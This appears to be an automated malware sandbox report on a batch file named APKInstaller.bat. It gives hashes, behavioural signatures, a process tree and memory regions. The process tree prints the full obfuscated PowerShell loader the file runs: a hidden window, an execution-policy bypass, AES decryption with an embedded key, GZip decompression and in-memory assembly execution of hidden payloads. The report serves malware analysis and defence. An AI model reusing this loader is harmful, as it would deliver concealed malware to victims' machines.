Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 12:53

General

  • Target

    APKInstaller.bat

  • Size

    302KB

  • MD5

    7a5f5944302b8298714b56ae2f138b7c

  • SHA1

    669b42f2f6e76895899d84d5ad7a12f23d951f13

  • SHA256

    3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552

  • SHA512

    73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120

  • SSDEEP

    6144:32i9XCwjujllYECVvYOjntEw8ZNsT0oilQHSzlO8DF8hVvRj:32iBCwyhCVlaJZUilQHulOq2vRj

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2052

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2052-12-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-11-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-10-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-9-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-8-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-7-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

    Filesize

    32KB

  • memory/2052-5-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2052-4-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

    Filesize

    4KB